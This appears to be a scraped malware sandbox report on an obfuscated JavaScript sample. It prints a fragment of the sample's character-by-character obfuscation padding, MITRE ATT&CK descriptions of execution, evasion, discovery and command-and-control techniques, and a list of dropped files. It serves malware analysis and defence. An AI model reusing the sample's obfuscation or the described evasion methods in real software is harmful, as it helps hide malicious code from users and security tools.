1466	fujghkkr = "z";
1467	fujghkkr = "E";
1468	fujghkkr = "K";
1469	fujghkkr = "C";
1470	fujghkkr = "a";
1471	fujghkkr = "R";
1472	fujghkkr = "c";
1473	fujghkkr = "a";
1474	fujghkkr = "g";
1475	fujghkkr = "P";
1476	oauwza = "q";
1477	oauwza = "a";
1478	oauwza = "H";
1479	oauwza = "c";
1480	oauwza = "G";
1481	oauwza = "b";
1482	oauwza = "d";
1483	oauwza = "T";
1484	oauwza = "M";
1485	oauwza = "W";
1486	oauwza = "W";
1487	oauwza = "x";
1488	oauwza = "N";
1489	oauwza = "h";
1490	oauwza = "d";
1491	oauwza = "U";
1492	oauwza = "U";
1493	oauwza = "l";
1494	oauwza = "b";
1495	oauwza = "k";
1496	oauwza = "d";
1497	oauwza = "M";
1498	oauwza = "n";
1499	oauwza = "u";
1500	oauwza = "W";
1501	oauwza = "P";
1502	oauwza = "8";
1503	xqfzsicgn = "D";
1504	xqfzsicgn = "o";
1505	xqfzsicgn = "X";
1506	xqfzsicgn = "R";
1507	xqfzsicgn = "T";
1508	xqfzsicgn = "g";
1509	xqfzsicgn = "S";
1510	xqfzsicgn = "l";
1511	xqfzsicgn = "e";
1512	xqfzsicgn = "g";
1513	xqfzsicgn = "q";
1514	xqfzsicgn = "q";
1515	xqfzsicgn = "a";
1516	xqfzsicgn = "f";
1517	xqfzsicgn = "k";
1518	xqfzsicgn = "Y";
1519	nkyik = "l";
1520	nkyik = "j";
1521	nkyik = "j";
1522	nkyik = "O";
1523	nkyik = "C";
1524	nkyik = "t";
1525	nkyik = "E";
1526	nkyik = "J";
1527	nkyik = "b";
1528	nkyik = "F";
1529	nkyik = "h";
1530	nkyik = "o";
1531	nkyik = "U";
1532	nkyik = "k";
1533	nkyik = "A";
1534	nkyik = "C";
1535	nkyik = "k";
1536	nkyik = "z";
1537	nkyik = "Y";
1538	nkyik = "b";
1539	nkyik = "J";
1540	nkyik = "t";
1541	nkyik = "G";
1542	nkyik = "A";
1543	nkyik = "g";
1544	nkyik = "w";
1545	nkyik = "s";
1546	nkyik = "h";
1547	nkyik = "g";
1548	nkyik = "c";
1549	nkyik = "X";
1550	nkyik = "y";
1551	nkyik = "A";
1552	nkyik = "Q";
1553	nkyik = "I";
1554	nkyik = "b";
1555	nkyik = "T";
1556	nkyik = "s";
1557	nkyik = "m";
1558	qsind = "E";
1559	qsind = "X";
1560	qsind = "M";
1561	qsind = "Q";
1562	qsind = "W";
1563	qsind = "o";
1564	qsind = "I";
1565	qsind = "H";
1566	qsind = "Y";
1567	qsind = "a";
1568	qsind = "a";
1569	qsind = "C";
1570	qsind = "v";
1571	qsind = "c";
1572	qsind = "b";
1573	qsind = "i";
1574	qsind = "r";
1575	qsind = "j";
1576	qsind = "p";
1577	qsind = "l";
1578	qsind = "E";
1579	qsind = "F";
1580	qsind = "p";
1581	qsind = "B";
1582	qsind = "Z";
1583	qsind = "O";
1584	qsind = "P";
1585	qsind = "g";
1586	qsind = "m";
1587	qsind = "R";
1588	qsind = "A";
1589	qsind = "j";
1590	qsind = "G";
1591	qsind = "J";
1592	qsind = "r";
1593	qsind = "C";
1594	qsind = "a";
1595	qsind = "P";
1596	qsind = "e";
1597	qsind = "C";
1598	qsind = "n";
1599	qsind = "t";
1600	ndrxabu = "z";
1601	ndrxabu = "D";
1602	ndrxabu = "I";
1603	ndrxabu = "q";
1604	ndrxabu = "G";
1605	ndrxabu = "E";
1606	ndrxabu = "e";
1607	ndrxabu = "w";
1608	ndrxabu = ":";
1609	tqykozd = "z";
1610	tqykozd = "J";
1611	tqykozd = "w";
1612	tqykozd = "n";
1613	tqykozd = "h";
1614	tqykozd = "l";
1615	tqykozd = "h";
1616	tqykozd = "f";
1617	tqykozd = "S";
1618	tqykozd = "E";
1619	tqykozd = "W";
1620	tqykozd = "T";
1621	tqykozd = "v";
1622	tqykozd = "c";
1623	tqykozd = "P";
1624	tqykozd = "v";
1625	tqykozd = "V";
1626	tqykozd = "e";
1627	tqykozd = "X";
1628	tqykozd = "i";
1629	tqykozd = "e";
1630	tqykozd = "M";
1631	tqykozd = "f";
1632	tqykozd = "W";
1633	tqykozd = "U";
1634	tqykozd = "o";
1635	tqykozd = "N";
1636	tqykozd = "Z";
1637	tqykozd = "o";
1638	tqykozd = "E";
1639	tqykozd = "s";
1640	tqykozd = "G";
1641	tqykozd = "W";
1642	tqykozd = "a";
1643	tqykozd = "T";
1644	tqykozd = "C";
1645	tqykozd = "z";
1646	tqykozd = "l";
1647	tqykozd = "J";
1648	tqykozd = "_";
1649	mbvdrj = "a";
1650	mbvdrj = "a";
1651	mbvdrj = "t";
1652	mbvdrj = "H";
1653	mbvdrj = "a";
1654	mbvdrj = "p";
1655	mbvdrj = "v";
1656	mbvdrj = "V";
1657	mbvdrj = "P";
1658	mbvdrj = "v";
1659	mbvdrj = "J";
1660	mbvdrj = "v";
1661	mbvdrj = "\\";
1662	dweagts = "p";
1663	dweagts = "A";
1664	dweagts = "V";
1665	dweagts = "E";
1666	dweagts = "B";
1667	dweagts = "c";
1668	qbyke ( );	qbyke() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 270782763316448754.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8ec4a3d2-05b6-4c03-8826-8705e674f56e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2516

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
270782763316448754.js